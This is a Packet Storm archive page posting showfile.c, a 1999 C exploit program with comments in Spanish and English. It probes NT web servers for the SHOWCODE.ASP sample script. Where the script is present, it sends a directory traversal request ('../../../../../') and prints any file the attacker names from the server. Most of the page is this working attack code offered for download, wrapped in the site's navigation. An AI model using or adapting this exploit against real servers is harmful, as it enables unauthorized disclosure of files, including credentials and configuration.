what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

showfile.c

showfile.c
Posted Oct 12, 1999
Authored by Obocaman / OiOiO's Band, 1999

This program will read any file from any NT Server, if the SHOWCODE.ASP script is present. Compile -DSPANISH for the spanish version!!

tags | exploit, asp
SHA-256 | 77d01f32c9be3d63742efac89cd45d47b428c7fb24e8525285ef0acaa786f929

showfile.c

Change Mirror Download
/* showfile
* Obocaman / OiOiO's Band, 1999
*
* Basado en un programa original de weld@l0pht.com
*
* Este programa muestra cualquier fichero de un servidor NT que tenga
* el script SHOWCODE.ASP
*
* This program shows any file from any NT Server, if it has the
* SHOWCODE.ASP script.
*
* ATENCION: No compilar con la opción -O2 !!!!!!
* CAUTION: Don't compile with -O2 option!!!!!
*
* Uso: ./showfile server/s file
* file must be relative to \ in the server.
* fichero debe ser relativo al \ del servidor.
*
* Para ver los mensajes en castellano compilar con
* -D_SPANISH_
*
* Released under GPL.
*/

#include <stdio.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>

int sock;

int comprueba(char *host) {
struct sockaddr_in sin;
struct hostent *hp;

hp = gethostbyname(host);
if (hp==NULL) {
#ifdef _SPANISH_
fprintf(stderr,"Host desconocido: %s\n\n",host);
#else
fprintf(stderr,"Unknown host: %s\n\n",host);
#endif
return 0;
}
memset((char*) &sin,0, sizeof(sin));
memcpy((char *) &sin.sin_addr,hp->h_addr,hp->h_length);
sin.sin_family = hp->h_addrtype;
sin.sin_port = htons(80);
sock = socket(AF_INET, SOCK_STREAM, 0);
if((connect(sock,(struct sockaddr *) &sin, sizeof(sin))) < 0) {
#ifdef _SPANISH_
fprintf(stderr,"Hubo un error en la conexión con el host %s.\n",host);
#else
fprintf(stderr,"Can't connect with %s.\n",host);
#endif
return 0;
}
return 1;
}

void main(int argc, char *argv[])
{
char total[16384];
char *ok=NULL;
char *buffer;
char *estado;
char *test="GET /msadc/Samples/SELECTOR/showcode.asp";
char *path="?source=/msadc/Samples/../../../../../";
char *http=" HTTP/1.0\n\n";
int i;

fprintf(stderr,"\nshowfile, by Obocaman / OiOiO's Band. 1999\n");
if (argc <= 2) {
#ifdef _SPANISH_
printf("Uso: %s <servidor/es> <fichero>\n", argv[0]);
#else
printf("Usage: %s <serer/s> <file>\n", argv[0]);
#endif
exit(1);
}
for(i=1;i<argc-1;i++) {
#ifdef _SPANISH_
fprintf(stderr,"Conectando con %s ...",argv[i]);
#else
fprintf(stderr,"Connecting with %s ...",argv[i]);
#endif
if(comprueba(argv[i])) {
#ifdef _SPANISH_
fprintf(stderr,"Conectado.\n");
#else
fprintf(stderr,"Connected.\n");
#endif
strcpy(total,test);
strcat(total,http);
#ifdef _SPANISH_
fprintf(stderr,"Comprobando: %s",total);
#else
fprintf(stderr,"Testing: %s",total);
#endif
send(sock,total, sizeof(total),0);
estado=(char *)malloc(1024);
read(sock,estado, 1024);
ok=strstr(estado,"200");
if(ok!=NULL) {
#ifdef _SPANISH_
fprintf(stderr,"OK, el servidor %s posee el showcode.asp\n",argv[i]);
#else
fprintf(stderr,"OK, server %s has the showcode.asp\n",argv[i]);
#endif
memset(total,0,sizeof(total));
strcpy(total,test);
strcat(total,path);
strcat(total,argv[argc-1]);
strcat(total,http);
#ifdef _SPANISH_
fprintf(stderr,"Enviando %s",total);
#else
fprintf(stderr,"Sending %s",total);
#endif
comprueba(argv[i]);
send(sock,total,sizeof(total),0);
#ifdef _SPANISH_
printf("\n*** Servidor: %s ***\n",argv[i]);
#else
printf("\n*** Server: %s ***\n",argv[i]);
#endif
buffer=(char *)malloc(40000);
while(read(sock,buffer,1)>0)
printf("%s",buffer);
}
else {
#ifdef _SPANISH_
fprintf(stderr,"Mal rollo, el servidor %s no tiene el showcode.asp\n",argv[i]);
#else
fprintf(stderr,"Bad news, server %s hasn't showcode.asp...\n",argv[i]);
#endif
}
printf("\n");
free(buffer);
free(estado);
close(sock);
}
}
}
Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    0 Files
  • 9
    Sep 9th
    0 Files
  • 10
    Sep 10th
    0 Files
  • 11
    Sep 11th
    0 Files
  • 12
    Sep 12th
    0 Files
  • 13
    Sep 13th
    0 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    0 Files
  • 17
    Sep 17th
    0 Files
  • 18
    Sep 18th
    0 Files
  • 19
    Sep 19th
    0 Files
  • 20
    Sep 20th
    0 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close